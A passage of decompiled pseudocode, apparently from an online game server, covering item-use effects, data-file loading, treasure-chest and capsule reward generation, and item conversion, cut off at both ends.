ORToken::operator__((ORToken *)&_, (ORToken *)AmountHP) ) { v14 = (UseEffect::UseItemBase *)&ui_amounthp; } else { if ( ORToken::operator__((ORToken *)&_, (ORToken *)AmountMP) ) { v14 = (UseEffect::UseItemBase *)&ui_amountsp; } else { if ( ORToken::operator__((ORToken *)&_, (ORToken *)AmountHPMP) ) { v14 = (UseEffect::UseItemBase *)&ui_amounthpsp; } else { if ( ORToken::operator__((ORToken *)&_, (ORToken *)MemoryFeather) ) { v14 = (UseEffect::UseItemBase *)&ui_MemoryFeather; } else { if ( ORToken::operator__((ORToken *)&_, (ORToken *)BossMobDetect) ) { v14 = (UseEffect::UseItemBase *)&ui_BossMobDetect; } else { if ( ORToken::operator__((ORToken *)&_, (ORToken *)NoEffect) ) { v14 = (UseEffect::UseItemBase *)&ui_NoEffect; } else { if ( ORToken::operator__((ORToken *)&_, (ORToken *)Propose) ) { v14 = (UseEffect::UseItemBase *)&ui_Propose; } else { if ( ORToken::operator__((ORToken *)&_, (ORToken *)Fire) ) { v14 = (UseEffect::UseItemBase *)&ui_Fire; } else { if ( !ORToken::operator__((ORToken *)&_, (ORToken *)IM_Divorce) ) { v15 = ORToken::ort_GetString((ORToken *)v10, buf); AssertClass::ac_AssertFail( &shineassert, "ItemUseFunction::iuf_Load : Invalid function", v15); ShineExit("ItemUseFunction::iuf_Load"); } v14 = (UseEffect::UseItemBase *)&ui_ImmediateDivorce; } } } } } } } } } else { v14 = (UseEffect::UseItemBase *)&ui_LicenceClear; } } else { v14 = (UseEffect::UseItemBase *)&ui_StatClearEmpow; } } else { v14 = (UseEffect::UseItemBase *)&ui_StatClearStat; } } else { v14 = &ui_silverwing; skill = "UseSilverWings"; } v16 = UseEffect::UsedItemEffect::uie_UseSkillID(&useditemeffect, skill); UseEffect::UsedItemEffect::uie_SetChargedBuffer(&useditemeffect, (unsigned __int16)item, v14, v16); } v5 = k++ + 1; } while ( k < fnc ); } v105 = -1; OptionReader::_OptionReader(&or); __security_check_cookie((unsigned int)&item ^ v104); } //----- (00488D10) -------------------------------------------------------- BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname) { BinaryDataBox *v2; // esi@1 char buffer[256]; // [sp+8h] [bp-104h]@1 unsigned int v5; // [sp+108h] [bp-4h]@1 v5 = (unsigned int)buffer ^ __security_cookie; v2 = this; if ( !CDataReader::Read(&this->baseclass_0.baseclass_0, fname, 0x16u, 9u) ) { AssertClass::ac_AssertFail(&shineassert, "BinaryDataBox::bdb_ReadData : readfail", fname); sprintf(buffer, "Code:%X:%d\tSHN:%X:%d"); AssertClass::ac_AssertFail(&shineassert, buffer, 0); ShineExit("BinaryDataBox::bdb_ReadData"); } return v2; } //----- (00488DC0) -------------------------------------------------------- BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname) { BinaryDataBox *v2; // esi@1 char buffer[256]; // [sp+8h] [bp-104h]@1 unsigned int v5; // [sp+108h] [bp-4h]@1 v5 = (unsigned int)buffer ^ __security_cookie; v2 = this; if ( !CDataReader::Read(&this->baseclass_0.baseclass_0, fname, 0x33u, 0x22u) ) { AssertClass::ac_AssertFail(&shineassert, "BinaryDataBox::bdb_ReadData : readfail", fname); sprintf(buffer, "Code:%X:%d\tSHN:%X:%d"); AssertClass::ac_AssertFail(&shineassert, buffer, 0); ShineExit("BinaryDataBox::bdb_ReadData"); } return v2; } //----- (00488E70) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_MagicContainerMake(void *this, int iti, char *price) { void *v3; // esi@1 ItemAttributeClass *v4; // eax@2 const char *v5; // eax@8 void *v6; // eax@8 unsigned __int16 v7; // bp@8 void *v8; // edi@8 int v9; // eax@10 unsigned int v10; // ebp@13 const char *v11; // eax@14 void *v12; // eax@14 void *v13; // edi@14 unsigned int v14; // eax@14 ItemAttributeClass *v15; // eax@16 unsigned __int16 v16; // dx@16 ItemAttributeClass *v17; // ebp@16 ItemAttributeClassVtbl *v18; // eax@16 ItemAttributeClassVtbl *v19; // edx@16 int v20; // eax@16 char *v21; // eax@18 int v22; // ecx@18 unsigned __int16 v23; // ax@18 ItemAttributeClassVtbl *v24; // edx@20 char *v25; // edi@21 int v26; // edx@21 int v27; // eax@21 int v28; // ebp@22 char *v29; // eax@25 char v30; // al@25 ZoneBaseSession *v31; // eax@26 int v32; // edi@27 ItemBagVtbl *v33; // edx@27 int v34; // eax@27 int v35; // edx@27 __int16 v36; // ax@27 int v37; // ebp@27 char *v38; // eax@27 int v39; // edi@27 int v40; // eax@27 int v41; // edx@27 int v42; // eax@27 ORToken v43; // [sp-4h] [bp-4F0h]@8 int v44; // [sp+0h] [bp-4ECh]@14 int v45; // [sp+4h] [bp-4E8h]@14 void *v46; // [sp+8h] [bp-4E4h]@14 int v47; // [sp+Ch] [bp-4E0h]@14 char *v48; // [sp+10h] [bp-4DCh]@8 const char *v49; // [sp+14h] [bp-4D8h]@8 int v50; // [sp+18h] [bp-4D4h]@8 ORToken *v51; // [sp+2Ch] [bp-4C0h]@1 ITEM_INVEN inv; // [sp+30h] [bp-4BCh]@25 void *containerstr; // [sp+34h] [bp-4B8h]@8 int k; // [sp+38h] [bp-4B4h]@13 ItemBoxIterEmpty *uii; // [sp+3Ch] [bp-4B0h]@21 int v56; // [sp+40h] [bp-4ACh]@21 int v57; // [sp+44h] [bp-4A8h]@21 FunctionEntarance _; // [sp+48h] [bp-4A4h]@1 ItemBoxIterEmpty ibie; // [sp+4Ch] [bp-4A0h]@21 ORToken *v60; // [sp+5Ch] [bp-490h]@14 char content; // [sp+60h] [bp-48Ch]@16 unsigned __int16 id[2]; // [sp+68h] [bp-484h]@16 TreasureChestMaker itemmaker; // [sp+D0h] [bp-41Ch]@5 char option[32]; // [sp+4BCh] [bp-30h]@16 unsigned int v65; // [sp+4DCh] [bp-10h]@1 int v66; // [sp+4E8h] [bp-4h]@1 v3 = this; v65 = (unsigned int)&v51 ^ __security_cookie; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_MagicContainerMake"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_MagicContainerMake"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_MagicContainerMake"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v66 = 0; if ( !iti || (v4 = ItemAttributeClassContainer::operator__(&itmattcontainer, *(_WORD *)(iti + 8))) == 0 ) { v66 = -1; LABEL_28: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_MagicContainerMake"); goto LABEL_29; } if ( v4->vfptr->iac_ItemClass(v4) != 15 ) goto LABEL_7; TreasureChestMaker::TreasureChestMaker(&itemmaker, *(_WORD *)(iti + 8), 6, 0); LOBYTE(v66) = 1; if ( !TreasureChestMaker::tcm_GetItemNum(&itemmaker) ) { LOBYTE(v66) = 0; TreasureChestMaker::_TreasureChestMaker(&itemmaker); LABEL_7: v66 = -1; LABEL_24: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_MagicContainerMake"); goto LABEL_29; } v5 = (const char *)*(_WORD *)(iti + 8); v50 = 0; v49 = v5; v48 = "ItemID"; v51 = &v43; ORToken::ORToken(&v43, "Container"); v6 = OptionReader::or_SelectFrom(&magiccontainer, v43, v48, (int)v49, v50); v7 = *(_WORD *)(iti + 8); v8 = v6; containerstr = v6; if ( v6 != 0 ) { v50 = *(_WORD *)((char *)v6 + 41) - *(_WORD *)((char *)v6 + 39) + 1; v9 = *(_WORD *)((char *)v6 + 39) + RandomBox::operator__(&rndbox, v50); if ( v9 > 0 ) { v51 = (ORToken *)v9; while ( 1 ) { v10 = RandomBox::rb_1000000(&rndbox); for ( k = 0; ; ++k ) { v11 = (const char *)*((_WORD *)v8 + 2); v50 = k; v49 = v11; v48 = "Index"; v60 = &v43; v47 = 0; v46 = 0; v45 = 0; v44 = 0; *(_DWORD *)&v43.ort_Name[0] = 0; strncpy(v43.ort_Name, "Content", 0x14u); v12 = OptionReader::or_SelectFrom(&magiccontainer, v43, v48, (int)v49, v50); v13 = v12; v14 = *(_DWORD *)((char *)v12 + 43); if ( v10 <= v14 ) break; v8 = containerstr; v10 -= v14; } v50 = *(_WORD *)v13; v15 = ItemAttributeClassContainer::operator__(&itmattcontainer, v50); v16 = *(_WORD *)v13; v50 = (int)&stru_63450C.maa_TargetSelect.aggresive; id[0] = v16; v17 = v15; v18 = v15->vfptr; v49 = &content; v48 = *(char **)id; v18->iac_itemcreate( v17, *(_DWORD *)id, (ItemTotalInformation *)&content, (char *)&stru_63450C.maa_TargetSelect.aggresive); v50 = *(_WORD *)((char *)v13 + 39); sprintf(option, "-L%d"); v19 = v17->vfptr; v50 = (int)option; v49 = &content; v48 = *(char **)id; v19->iac_itemcreate(v17, *(_DWORD *)id, (ItemTotalInformation *)&content, option); v20 = *((_BYTE *)v13 + 42) - *((_BYTE *)v13 + 41) + 1; if ( *((_BYTE *)v13 + 42) - *((_BYTE *)v13 + 41) == -1 || (unsigned int)v20 > 0x64 ) { v23 = 0; } else { v21 = (char *)&rndbox + 32776 * v20; v22 = *((_DWORD *)v21 + 8193) & (*((_DWORD *)v21 + 8192) + 1); *((_DWORD *)v21 + 8192) = v22; v23 = *(_WORD *)&v21[2 * v22]; } v50 = v23 + *((_BYTE *)v13 + 41); sprintf(option, "-U%d"); v24 = v17->vfptr; v50 = (int)option; v49 = &content; v48 = *(char **)id; v24->iac_itemcreate(v17, *(_DWORD *)id, (ItemTotalInformation *)&content, option); v50 = ZoneServer::zs_worlddata(&zoneserver)->nWorldNo; v49 = (const char *)ZoneServer::zs_worlddata(&zoneserver)->nZoneNo; ItemTotalInformation::iti_mkregnum((ItemTotalInformation *)&content, id[0], 6, (int)v49, v50); TreasureChestMaker::tcm_ItemMake(&itemmaker, (ItemTotalInformation *)&content); v51 = (ORToken *)((char *)v51 - 1); if ( !v51 ) break; v8 = containerstr; } } v25 = gpp.pp_Buffer; ItemBoxIterEmpty::ItemBoxIterEmpty(&ibie, (ItemBag *)v3 + 8920, (ChargedEffectContainer *)((char *)v3 + 142688)); v26 = *(_DWORD *)v3; LOBYTE(v66) = 2; v27 = (*(int (__thiscall **)(void *))(v26 + 2004))(v3); uii = &ibie; v56 = v27; v57 = 9; if ( InventoryLocking::UnlockedInventoryIterator::uii_Home((InventoryLocking::UnlockedInventoryIterator *)&uii) ) { v28 = TreasureChestMaker::tcm_PutInto( &itemmaker, 0, (PROTO_ITEM_CMD *)v25 + 24, uii->baseclass_0.ibi_finger, (TreasureChestLocationManager *)((char *)v3 + 139627), 9u); if ( v28 ) { inv.Inven = inv.Inven & 0x3FF | 0x2400; inv.Inven ^= (inv.Inven ^ LOWORD(uii->baseclass_0.ibi_finger)) & 0x3FF; *(_WORD *)v25 = 13389; *((_DWORD *)v25 + 1) = (*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 836))(v3); *((_WORD *)v25 + 1) = *((_WORD *)v3 + 2); *((_WORD *)v25 + 6) = *(_WORD *)((*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 2004))(v3) + 4); *((_DWORD *)v25 + 5) = 0; *((_DWORD *)v25 + 4) = price; v50 = *(_DWORD *)((char *)v3 + 98); v29 = NameString::operator__(&namestring, (Name3 *)v50); *((_WORD *)v25 + 7) = MapDataBox::mdb_2mapid(&mapdatabox, v29); *((_DWORD *)v25 + 2) = (*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 836))(v3); v50 = v28 + 25; v49 = "ShineObjectClass::ShinePlayer::sp_KQReward : Packet Too Long"; v30 = ProtocolPacket::pp_SetPacketLen(&gpp, v28 + 25); if ( !AssertClass::operator__(&shineassert, (unsigned __int8)v30, v49, v50) ) { v31 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v31); } v32 = (*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 2004))(v3); v33 = uii->baseclass_0.ibi_itembag->vfptr; v50 = uii->baseclass_0.ibi_finger; v34 = ((int (__stdcall *)(int))v33->ib_GetInventoryCell)(v50); v35 = *(_DWORD *)v3; v51 = (ORToken *)v34; v36 = *(_WORD *)((*(int (__thiscall **)(void *))(v35 + 2004))(v3) + 4); v37 = *(_DWORD *)v32; v50 = (int)&inv; v49 = (const char *)&inv; LOWORD(containerstr) = v36; MoveManager::MoveManager((DiceTaiSai *)&itemmaker); v48 = v38; v47 = (int)v51; v46 = containerstr; (*(void (__thiscall **)(int, void *, ORToken *, char *, const char *, int))(v37 + 56))( v32, containerstr, v51, v38, v49, v50); v39 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v3 + 2004))(v3); v40 = *(_WORD *)((*(int (__thiscall **)(_DWORD))(*(_DWORD *)v3 + 2004))(v3) + 4); v41 = *(_DWORD *)v39; v50 = -1; v49 = 0; v48 = price; v47 = v40; (*(void (__thiscall **)(int, int, char *, _DWORD, signed int))(v41 + 64))(v39, v40, price, 0, -1); v42 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v3 + 2004))(v3); ++*(_WORD *)(v42 + 4); (*(void (__thiscall **)(void *))(*(_DWORD *)v3 + 2972))(v3); ibie.baseclass_0.vfptr = (ItemBoxIteratorVtbl *)&ItemBoxIterator::_vftable_; LOBYTE(v66) = 0; TreasureChestMaker::_TreasureChestMaker(&itemmaker); v66 = -1; goto LABEL_28; } } ibie.baseclass_0.vfptr = (ItemBoxIteratorVtbl *)&ItemBoxIterator::_vftable_; LOBYTE(v66) = 0; TreasureChestMaker::_TreasureChestMaker(&itemmaker); v66 = -1; goto LABEL_24; } AssertClass::ac_AssertFail(&shineassert, "ShineObjectClass::ShinePlayer::sp_MagicContainerMake : Null Container", v7); LOBYTE(v66) = 0; TreasureChestMaker::_TreasureChestMaker(&itemmaker); v66 = -1; FunctionEntarance::_FunctionEntarance(&_); LABEL_29: __security_check_cookie((unsigned int)&v51 ^ v65); } //----- (00489430) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_ItemMakeItem(void *this, int itm) { signed int v2; // esi@1 void *v3; // edi@1 void *v4; // eax@2 int v5; // ST10_4@5 CServerInfo::MY_SERVER *v6; // eax@5 ItemDataBox::ItemDataBoxIndex *v7; // eax@5 ItemAttributeClass *v8; // eax@7 __int16 key; // [sp+Ch] [bp-88h]@1 FunctionEntarance _; // [sp+10h] [bp-84h]@1 char iti; // [sp+14h] [bp-80h]@5 __int16 v12; // [sp+1Ch] [bp-78h]@5 unsigned int v13; // [sp+84h] [bp-10h]@1 int v14; // [sp+90h] [bp-4h]@1 HIWORD(v2) = HIWORD(itm); v3 = this; v13 = (unsigned int)&key ^ __security_cookie; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::so_ply_ItemMakeItem"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_ItemMakeItem"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_ItemMakeItem"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v14 = 0; if ( itm ) { key = *(_WORD *)(itm + 8); v4 = bsearch(&key, &itemconvmap, itemconvmap.icm_Number, 4u, MobAttackSequence::AttackElement4Mob::ae4m_Compare); if ( v4 ) LOWORD(v2) = *((_WORD *)v4 + 1); else v2 = 65535; v12 = v2; v5 = ZoneServer::zs_worlddata(&zoneserver)->nWorldNo; v6 = ZoneServer::zs_worlddata(&zoneserver); ItemTotalInformation::iti_mkregnum((ItemTotalInformation *)&iti, v2, 6, v6->nZoneNo, v5); v12 = v2; v7 = ItemDataBox::operator__(&itemdatabox, v2); if ( v7 && v7->data ) { v8 = ItemAttributeClassContainer::operator__(&itmattcontainer, v2); v8->vfptr->iac_itemcreate(v8, v2, (ItemTotalInformation *)&iti, (char *)&stru_63450C.maa_TargetSelect.aggresive); ShineObjectClass::ShinePlayer::sp_MakeItem(v3, *((_WORD *)v3 + 2), (int)&iti); } } --funcallanalizer.fca_stackpoint; v14 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_ItemMakeItem"); __security_check_cookie((unsigned int)&key ^ v13); } //----- (004895A0) -------------------------------------------------------- void __thiscall ItemConversionMap::icm_Store(ItemConversionMap *this, unsigned __int16 from, unsigned __int16 to) { unsigned int v3; // eax@1 int v4; // ST04_4@4 v3 = this->icm_Number; if ( v3 >= 0x20 ) { AssertClass::ac_AssertFail(&shineassert, "ItemConversionMap::icm_Store : Too many item map", v3); ShineExit("ItemConversionMap::icm_Store"); } this->icm_Buffer[this->icm_Number].icm_From = from; this->icm_Buffer[this->icm_Number].icm_To = to; v4 = this->icm_Number + 1; this->icm_Number = v4; qsort(this, v4, 4u, MobAttackSequence::AttackElement4Mob::ae4m_Compare); } //----- (00489620) -------------------------------------------------------- void __thiscall MagicContainer::mc_Load(MagicContainer *this) { OptionReader *v1; // edi@1 char v2; // bl@1 int v3; // eax@1 int v4; // esi@1 char *v5; // eax@2 int v6; // ebx@4 int v7; // ebp@7 void *v8; // ebx@10 unsigned int v9; // eax@13 unsigned __int16 v10; // ax@18 int v11; // ecx@18 unsigned int v12; // eax@22 unsigned __int16 v13; // si@22 SkillDataBox::SkillDataIndex *v14; // eax@27 int v15; // edi@28 int v16; // ebp@28 int v17; // edx@29 void *v18; // esi@29 unsigned int v19; // eax@33 ORToken v20; // [sp-20h] [bp-40h]@29 int v21; // [sp-1Ch] [bp-3Ch]@29 ORToken v22; // [sp-18h] [bp-38h]@10 ORToken v23; // [sp-14h] [bp-34h]@4 int v24; // [sp-10h] [bp-30h]@4 char *v25; // [sp-Ch] [bp-2Ch]@4 int v26; // [sp-8h] [bp-28h]@4 int v27; // [sp-4h] [bp-24h]@4 int container; // [sp+10h] [bp-10h]@7 OptionReader *v29; // [sp+14h] [bp-Ch]@1 int containers; // [sp+18h] [bp-8h]@4 ORToken *sommrate; // [sp+1Ch] [bp-4h]@4 v1 = (OptionReader *)this; v29 = (OptionReader *)this; v2 = OptionReader::or_Read(&this->mc_OptionTable, "../9Data/Hero/World/TreasureReward.txt"); v3 = OptionReader::or_ErrorLine(v1); v4 = 0; if ( !v2 ) { AssertClass::ac_AssertFail(&shineassert, "MagicContainer::mc_Load : Option read error", v3); v5 = OptionReader::or_ErrorString(v1); AssertClass::ac_AssertFail(&shineassert, "\t", v5); ShineExit("MagicContainer::mc_Load"); } sommrate = &v23; v27 = 0; v26 = 0; v25 = 0; v24 = 0; *(_DWORD *)&v23.ort_Name[0] = 0; strncpy(v23.ort_Name, "Container", 0x14u); v6 = OptionReader::or_SelectCountFrom(v1, v23); containers = v6; if ( v6 <= 0 ) { AssertClass::ac_AssertFail(&shineassert, "MagicContainer::mc_Load : table Container empty or not exist", v6); ShineExit("MagicContainer::mc_Load"); } v7 = 0; container = 0; if ( v6 > 0 ) { while ( 1 ) { v27 = v7; sommrate = &v22; v26 = v4; v25 = (char *)v4; v24 = v4; *(_DWORD *)&v23.ort_Name[0] = v4; *(_DWORD *)&v22.ort_Name[0] = v4; strncpy(v22.ort_Name, "Container", 0x14u); v8 = OptionReader::or_SelectFromOrder(v1, v22, v27); if ( (v8 != (void *)v4) == v4 ) { AssertClass::ac_AssertFail(&shineassert, "containerstr NULL", v7, containers); ShineExit("MagicContainer::mc_Load"); } v9 = BTree::operator__(&stru_131DE8B8, (const char *)v8 + 6); if ( v9 == -1 ) LOWORD(v9) = -1; *(_DWORD *)v8 = (unsigned __int16)v9; if ( ((unsigned __int16)v9 != 65535) == v4 ) { AssertClass::ac_AssertFail(&shineassert, "MagicContainer::mc_Load : Invalid card", (const char *)v8 + 6); ShineExit("MagicContainer::mc_Load"); } v10 = *(_WORD *)((char *)v8 + 41); v11 = *(_WORD *)((char *)v8 + 41); sommrate = (ORToken *)(v10 < 8u); if ( v10 >= 8u ) { AssertClass::ac_AssertFail(&shineassert, "MagicContainer::mc_Load : Too many content", v11, 8); ShineExit("MagicContainer::mc_Load"); } v27 = (int)UseEffect::UsedItemEffect::uie_UseSkillID(&useditemeffect, "UsePresentBox"); UseEffect::UsedItemEffect::uie_SetChargedBuffer( &useditemeffect, *(_WORD *)v8, &ui_chestopen, (SkillDataBox::SkillDataIndex *)v27); if ( *((_BYTE *)v8 + 43) != 45 ) { v12 = BTree::operator__(&stru_131DE8B8, (const char *)v8 + 43); v13 = -1; if ( v12 != -1 ) v13 = v12; if ( v13 == -1 ) { AssertClass::ac_AssertFail(&shineassert, "MagicContainer::mc_Load : Invalid Dummycard", (const char *)v8 + 43); ShineExit("MagicContainer::mc_Load"); } v27 = *(_WORD *)v8; ItemConversionMap::icm_Store(&itemconvmap, v13, v27); v14 = UseEffect::UsedItemEffect::uie_UseSkillID(&useditemeffect, "UseSkill"); UseEffect::UsedItemEffect::uie_SetChargedBuffer(&useditemeffect, v13, &ui_dummy2real, v14); v4 = 0; } v15 = 0; v16 = 0; while ( 1 ) { v17 = *((_WORD *)v8 + 2); v27 = v16; v26 = v17; v25 = "Index"; sommrate = &v20; v24 = v4; *(_DWORD *)&v23.ort_Name[0] = v4; *(_DWORD *)&v22.ort_Name[0] = v4; v21 = v4; *(_DWORD *)&v20.ort_Name[0] = v4; strncpy(v20.ort_Name, "Content", 0x14u); v18 = OptionReader::or_SelectFrom(v29, v20, v25, v26, v27); if ( !v18 ) break; if ( *(_DWORD *)v18 != *(_WORD *)((char *)v18 + 47) ) { AssertClass::ac_AssertFail(&shineassert, "MagicContainer::mc_Load : Checksum invalid", container, v16); ShineExit("MagicContainer::mc_Load"); } sommrate = (ORToken *)(*(_DWORD *)((char *)v18 + 43) + v15); v19 = BTree::operator__(&stru_131DE8B8, (const char *)v18 + 6); if ( v19 == -1 ) LOWORD(v19) = -1; *(_DWORD *)v18 = (unsigned __int16)v19; if ( (unsigned __int16)v19 == 65535 ) { AssertClass::ac_AssertFail(&shineassert, "MagicContainer::mc_Load : Invalid reward", (const char *)v18 + 6); ShineExit("MagicContainer::mc_Load"); } v15 = (int)sommrate; ++v16; v4 = 0; } if ( v15 != 1000000 ) { AssertClass::ac_AssertFail(&shineassert, "MagicContainer::mc_Load : TotalRate not 1000", container); ShineExit("MagicContainer::mc_Load"); } ++container; if ( container >= containers ) break; v7 = container; v1 = v29; v4 = 0; } } } //----- (004899A0) -------------------------------------------------------- LCReward *__thiscall CLCReward::clcr_GetRandomLCRewardData(CLCReward *this, unsigned __int16 nLCItemID) { CLCReward *v2; // esi@1 LCReward *result; // eax@2 CLCReward::LCItemData *v4; // ecx@3 CLCReward::LCItemData *v5; // eax@5 CLCReward::LCItemData *v6; // ecx@5 unsigned int v7; // edi@10 unsigned int v8; // eax@10 int v9; // ebp@10 int v10; // ebx@10 CLCReward::LCRewardGroup *v11; // esi@11 unsigned int v12; // eax@17 char *v13; // ecx@19 int v14; // eax@19 unsigned __int16 v15; // ax@19 unsigned int nTotalRate; // [sp+4h] [bp-Ch]@3 CLCReward::LCRewardGroup *pLCRGData; // [sp+Ch] [bp-4h]@12 v2 = this; if ( this->clcr_LCRewardGroup ) { v4 = this->clcr_LCItemList._Myfirst; nTotalRate = 1000000; if ( v4 ) { if ( v2->clcr_LCItemList._Mylast - v4 ) { v5 = v4; v6 = v2->clcr_LCItemList._Mylast; if ( v5 != v6 ) { while ( v5->m_nItemID != nLCItemID ) { ++v5; if ( v5 == v6 ) goto LABEL_10; } nTotalRate = v5->m_nTotalRate; } } } LABEL_10: v7 = 0; v8 = RandomBox::rb_1000000(&rndbox); v9 = v2->clcr_nMaxNum; v10 = 0; if ( v9 > 0 ) { v11 = v2->clcr_LCRewardGroup; while ( 1 ) { pLCRGData = v11; if ( !v11 ) break; if ( v11->m_Group.Item_ID != nLCItemID || (v7 += 1000000 * (unsigned __int64)v11->m_Group.LCR_Rate / nTotalRate, v8 > v7) ) { ++v10; ++v11; if ( v10 < v9 ) continue; } if ( !pLCRGData->m_pItem ) break; v12 = pLCRGData->m_ItemCnt; if ( pLCRGData->m_ItemCnt && v12 <= 0x64 ) { v13 = (char *)&rndbox + 32776 * v12; v14 = *((_DWORD *)v13 + 8193) & (*((_DWORD *)v13 + 8192) + 1); *((_DWORD *)v13 + 8192) = v14; v15 = *(_WORD *)&v13[2 * v14]; } else { v15 = 0; } return &pLCRGData->m_pItem[v15]; } } result = 0; } else { result = 0; } return result; } //----- (00489AD0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_MakeCapsuleItem(void *this, int iti, int price, int fame, int gbcoin) { void *v5; // ebx@1 unsigned __int16 *v6; // ebp@3 ItemAttributeClass *v7; // eax@3 ItemAttributeClass *v8; // edi@3 CIDEB_Element *v9; // eax@6 ChargedItemEffect *v10; // eax@10 int v11; // eax@12 int v12; // eax@12 unsigned __int16 v13; // bp@14 unsigned __int16 v14; // ax@14 LCReward *v15; // eax@14 int v16; // eax@16 int v17; // ebp@16 ItemAttributeClass *v18; // edi@17 int v19; // ST14_4@17 CServerInfo::MY_SERVER *v20; // eax@17 ItemDataBox::ItemDataBoxIndex *v21; // eax@17 ItemInfoServer *v22; // eax@18 char *v23; // eax@19 ItemRandomOption::RandomOptionDatum *v24; // ebp@20 ItemOptionStorage *v25; // eax@20 int v26; // edx@23 char *v27; // ebp@23 __int16 v28; // ax@23 char *v29; // eax@23 char v30; // al@23 ZoneBaseSession *v31; // eax@24 int v32; // esi@25 int v33; // edi@25 int v34; // eax@25 int v35; // esi@25 int v36; // eax@25 int v37; // esi@25 int v38; // eax@25 int v39; // esi@25 int v40; // eax@25 int v41; // eax@25 char *v42; // [sp+14h] [bp-C0h]@2 signed int v43; // [sp+14h] [bp-C0h]@13 FunctionEntarance _; // [sp+28h] [bp-ACh]@1 ITEM_INVEN CapsuleItemInven; // [sp+2Ch] [bp-A8h]@14 int v46; // [sp+30h] [bp-A4h]@1 ItemBoxIterEmpty *uii; // [sp+34h] [bp-A0h]@12 int v48; // [sp+38h] [bp-9Ch]@12 int v49; // [sp+3Ch] [bp-98h]@12 LCReward *LCRItemData; // [sp+40h] [bp-94h]@14 ItemBoxIterEmpty ibie; // [sp+44h] [bp-90h]@12 int ContentInfo; // [sp+54h] [bp-80h]@17 int v53; // [sp+58h] [bp-7Ch]@23 __int16 v54; // [sp+5Ch] [bp-78h]@17 __int16 v55; // [sp+C0h] [bp-14h]@23 char v56; // [sp+C2h] [bp-12h]@23 unsigned int v57; // [sp+C4h] [bp-10h]@1 int v58; // [sp+D0h] [bp-4h]@1 v5 = this; v57 = (unsigned int)&_ ^ __security_cookie; v46 = iti; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::so_MakeCapsuleItem"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_MakeCapsuleItem"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_MakeCapsuleItem"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v58 = 0; if ( iti ) { v6 = (unsigned __int16 *)(iti + 8); v7 = ItemAttributeClassContainer::operator__(&itmattcontainer, *(_WORD *)(iti + 8)); v8 = v7; if ( !v7 || v7->vfptr->iac_ItemClass(v7) != 32 ) { (*(void (__thiscall **)(void *, signed int, signed int, signed int))(*(_DWORD *)v5 + 776))(v5, 12, 4, 515); LABEL_8: v58 = -1; v42 = "ShineObjectClass::ShinePlayer::so_MakeCapsuleItem"; goto LABEL_9; } v9 = ChargedItemEffectDataBox::cideb_GetItemID(&chargedbuffdatabox, *v6); if ( !v9 ) { (*(void (__thiscall **)(void *, signed int, signed int, signed int))(*(_DWORD *)v5 + 776))(v5, 12, 4, 515); goto LABEL_8; } v10 = v9->ce_Data; if ( !v10 ) { (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, _DWORD))(*(_DWORD *)v5 + 776))(v5, 12, 4, 515); LABEL_29: v58 = -1; FunctionEntarance::_FunctionEntarance(&_); goto LABEL_30; } v8->vfptr->iac_SetUseableDateTime( v8, (SHINE_ITEM_STRUCT *)(iti + 8), v10->KeepTime_Hour, &stru_8C8DD4, ((unsigned int)chargeditemcheck._bf0 >> 19) & 0x3F); ItemBoxIterEmpty::ItemBoxIterEmpty(&ibie, (ItemBag *)v5 + 8920, (ChargedEffectContainer *)((char *)v5 + 142688)); v11 = *(_DWORD *)v5; LOBYTE(v58) = 1; v12 = (*(int (__thiscall **)(void *))(v11 + 2004))(v5); uii = &ibie; v48 = v12; v49 = 9; if ( InventoryLocking::UnlockedInventoryIterator::uii_Home((InventoryLocking::UnlockedInventoryIterator *)&uii) ) { v13 = *v6; v14 = CapsuleItemInven.Inven & 0x3FF | 0x2400; CapsuleItemInven.Inven = v14; CapsuleItemInven.Inven = (v14 ^ LOWORD(uii->baseclass_0.ibi_finger)) & 0x3FF ^ v14; v15 = CLCReward::clcr_GetRandomLCRewardData(&gLCReward, v13); LCRItemData = v15; if ( !v15 ) { (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, _DWORD))(*(_DWORD *)v5 + 776))(v5, 12, 4, 515); LABEL_28: ibie.baseclass_0.vfptr = (ItemBoxIteratorVtbl *)&ItemBoxIterator::_vftable_; goto LABEL_29; } LOWORD(v16) = ItemDataBox::idb_2itemid(&itemdatabox, v15->Item_Inx); v17 = v16; if 